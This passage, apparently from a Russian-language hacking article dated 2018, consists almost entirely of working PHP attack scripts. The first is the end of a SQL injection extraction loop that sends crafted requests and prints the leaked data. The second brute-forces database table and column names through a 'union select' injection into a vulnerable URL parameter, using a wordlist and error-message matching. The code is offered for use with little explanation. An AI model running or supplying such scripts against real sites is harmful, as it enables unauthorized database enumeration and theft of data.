    $zapros=str_replace($set['c'],$i,$set['z']);//Изменияем счетчик в уязвимом параметре
    
    //Создаем пакет
    $header="GET ".$set['u'].urlencode($zapros)." HTTP/1.0\r\n";
    $header.="Accept-Language: en-us,en;q=0.5\r\n";
    $header.="Accept-Charset: utf-8,*;q=0.7\r\n";
    $header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
    $header.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
    $header.="Connection: keep-alive\r\n";
    $header.="Cookie: PHPSESSID=028df047751bfc9a2ee18204eb2d5595\r\n";
    $header.='Cookie2: $Version=1'."\r\n";
    $header.="Host: ".$set['h']."\r\n\r\n";
    
    $dt="";
    $fp=fsockopen($set['h'], 80);
    fwrite($fp, $header);
    while(!feof($fp)) $dt.=fread($fp, 1024);
    fclose($fp);
    
    //Вырезаем необходимую инфу
    $dt=substr($dt,strpos($dt,$set['b'])+strlen($set['b']));
    $dt=substr($dt,0,strpos($dt,$set['e']));
    
    //Выводим инфу на экран
    echo($dt."\r\n");
    flush();
    }
    ?>
    

    Скрипт для брута имен столбцов и полей

    <?php
    $set['f']="bryt_name_table.txt";//Словарик с именами таблиц/полей
    $set['t']=false;//Определять существование таблицы по наличию строки(true) или отсутствию(false)
    $set['n']="Table 'test.+++name+++' doesn't exist";//Если эта строка отсутствует значит таблица есть в БД
    $set['y']="Здравствуй вася :)";//Если эта строка присутствует значит таблица есть в БД
    $set['u']="http://test1.ru/news?id=";//URL с узвимым параметров В КОНЦЕ(!)
    $set['z']="1 union select 1,2,3,4,5,6 FROM +++name+++";//Значение уязвимого параметра
    $set['c']="+++name+++";//Строка каждый раз заменяймая на текущее имя таблицы
    $set['h']="test1.ru";//Хост
    
    @set_time_limit(0);//30 секунд по дефолту нам может не хватить...
    
    //Чтобы не париться каждый раз и не лезть в файл
    if(!empty($_GET['f']))$set['f']=$_GET['f'];
    if(!empty($_GET['t']))$set['t']=$_GET['t'];
    if(!empty($_GET['n']))$set['n']=$_GET['n'];
    if(!empty($_GET['y']))$set['y']=$_GET['y'];
    if(!empty($_GET['u']))$set['u']=$_GET['u'];
    if(!empty($_GET['z']))$set['z']=$_GET['z'];
    if(!empty($_GET['c']))$set['c']=$_GET['c'];
    if(!empty($_GET['h']))$set['h']=$_GET['h'];
    
    $tables_names=file($set['f']);//Открываем файл
    
    //Начинаем брутофорс
    for($i=0;$i<count($tables_names);$i++)
    {
    //Удаляем символы перехода строки
    $tables_names[$i]=str_replace("\r","",$tables_names[$i]);
    $tables_names[$i]=str_replace("\n","",$tables_names[$i]);
    
    //Изменияем строку на текущее имя таблицы
    $zapros=str_replace($set['c'],$tables_names[$i],$set['z']);
    $in_str=str_replace($set['c'],$tables_names[$i],$set['y']);
    $ou_str=str_replace($set['c'],$tables_names[$i],$set['n']);
    
    //Создаем пакет
    $header="GET ".$set['u'].urlencode($zapros)." HTTP/1.0\r\n";
    $header.="Accept-Language: en-us,en;q=0.5\r\n";
    $header.="Accept-Charset: utf-8,*;q=0.7\r\n";
    $header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
    $header.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
    $header.="Connection: keep-alive\r\n";
    //$header.="Cookie: PHPSESSID=028df047751bfc9a2ee18204eb2d5595\r\n";
    //$header.='Cookie2: $Version=1'."\r\n";
    $header.="Host: ".$set['h']."\r\n\r\n";
    
    //Оптравка/прием данных
    $dt="";
    $fp=fsockopen($set['h'], 80);
    fwrite($fp, $header);
    while(!feof($fp)) $dt.=fread($fp, 1024);
    fclose($fp);
    
    //Ну и соответственно вывод на экран.
    $found=0;
    if($set['t'])
    {
    	if(substr_count($dt,$in_str)>0){echo("<font color='green'><b>".$tables_names[$i]."</b></font><script>alert('".$tables_names[$i]." - found')</script>");$found=1;}
    }
    if($set['t']===false)
    {
    	if(substr_count($dt,$ou_str)===0){echo("<font color='green'><b>".$tables_names[$i]."</b></font><script>alert('".$tables_names[$i]." - found')</script>");$found=1;}
    }
    if($found===0)echo("<font color='red'>".$tables_names[$i]."</font>");
    echo("<hr>\r\n");
    flush();
    }
    ?>
    

    Дата створення/оновлення: 25.05.2018